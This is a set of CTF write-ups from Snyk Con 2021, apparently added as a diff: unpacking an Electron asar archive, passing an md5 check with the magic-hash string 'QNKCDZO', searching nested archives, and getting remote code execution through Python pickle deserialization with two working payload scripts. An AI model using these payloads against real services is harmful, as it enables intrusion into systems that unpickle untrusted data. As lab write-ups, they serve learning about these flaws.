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Snyk Con 2021/Electronbuzz.md

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+# Electronbuzz (Misc)
+
+In this challenge we were given an electron application in the form of windows,linux file , so I downloaded the debian package and extracted it , on which I `app.asar` file , which in electron holds the source code and some configuration file of the main application
+
+<img src="https://i.imgur.com/BTwLhZx.png"/>
+
+We can extract this by using `npx asar extract app.asar .` , you can install `npx` using `npm install -g asar`
+
+<img src="https://i.imgur.com/yivO93v.png"/>
+
+And we can get the flag by reading `challenge.yml`
+
+<img src="https://i.imgur.com/8Q0KleS.png"/>
+
+
+## References
+- https://stackoverflow.com/questions/38523617/how-to-unpack-an-asar-file

Snyk Con 2021/Magician.md

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+# Magician (Web)
+
+This web challenege had an input field where it was asking for us to input the string whose md5 hash will be equal to the given one meaning a hash collision where hashes of different file or string are similar 
+
+<img src="https://i.imgur.com/KILYmf2.png"/>
+
+I tried to give some random text and in the bottom it should be the md5 hash of that string
+
+<img src="https://i.imgur.com/Y7msap5.png"/>
+
+But we need to put a string whose hash will be the same like this `0e365027561978452045683563242341` I  tried to crack this md5hash using crackstation and hashcat but failed ,so I googled for this hash
+
+<img src="https://i.imgur.com/fh3saxZ.png"/>
+
+<img src="https://i.imgur.com/LBGofQ2.png"/>
+
+So we just have to submit this string `QNKCDZO` and we will pass the condition
+
+<img src="https://i.imgur.com/qQTmOc6.png"/>
+
+## References
+
+- https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo

Snyk Con 2021/Robert Louis Stevenson.md

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+# Robert Louis Stevenson (Misc)
+
+In this challenge we were given a tar file that on extracting we have some folders which also included archive file
+
+<img src="https://i.imgur.com/hK01Eg3.png"/>
+
+Going into each directory and search for a file which may have something
+
+<img src="https://i.imgur.com/V6NEQni.png"/>
+
+And the flag was in one of the folders

Snyk Con 2021/Sauerkraut.md

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+# Sauerkraut (Web)
+
+This was a web challenege that had text form where we can submit text
+
+<img src="https://i.imgur.com/5CYfcie.png"/>
+
+On entering some text , it gave us an error about "invalid base64"
+
+<img src="https://i.imgur.com/oDbT5nw.png"/>
+
+So after inputtting encoded text we get this 
+
+<img src="https://i.imgur.com/yPef4wk.png"/>
+
+It then showed that "it could not find MARK" , I didn't know what that meant so I just encoded that text
+
+<img src="https://i.imgur.com/bLE5Swn.png"/>
+
+And when I submitted that , it showed me "pickle data was truncated"
+
+<img src="https://i.imgur.com/zB07yni.png"/>
+
+Here I then goolged `pickle` , and found that it's a library or module that allows you to serliaze data , convert them into objects so that it can be passed for different process
+
+<img src="https://i.imgur.com/QB4otDA.png"/>
+
+And this lead me to exploiting to pickle in python , I found a resource where it showed RCE for pickle so this is the PoC that I found 
+
+```python
+import base64
+import codecs
+import pickle
+
+class RCE(object):
+    def __reduce__(self):
+        import subprocess
+        return (subprocess.check_output, (['id'], ) )
+class RCEStr(object):
+    def __reduce__(self):
+        return (codecs.decode, (RCE(), 'utf-8') )
+
+pickle_data = pickle.dumps({'name': RCEStr()})
+payload = base64.urlsafe_b64encode(pickle_data)
+print(payload.decode('utf-8'))
+```
+
+<img src="https://i.imgur.com/59wwxtf.png"/>
+
+<img src="https://i.imgur.com/sTPtoSR.png"/>
+
+Perfect , we have found the we can do remote code execution , all that is left is to find the flag , so I ran `ls` command to see if there's a file we can read
+
+<img src="https://i.imgur.com/bUPduRx.png"/>
+
+```python
+import base64
+import codecs
+import pickle
+
+class RCE(object):
+    def __reduce__(self):
+        import subprocess
+        return (subprocess.check_output, (['cat','flag'], ) )
+class RCEStr(object):
+    def __reduce__(self):
+        return (codecs.decode, (RCE(), 'utf-8') )
+
+pickle_data = pickle.dumps({'name': RCEStr()})
+payload = base64.urlsafe_b64encode(pickle_data)
+print(payload.decode('utf-8'))
+```
+
+<img src="https://i.imgur.com/KOvSXVb.png"/>
+
+## References
+
+- https://davidhamann.de/2020/04/05/exploiting-python-pickle/
+- https://medium.com/@jonoans/sans-mixed-discipline-ctf-wx01-283b6795d34a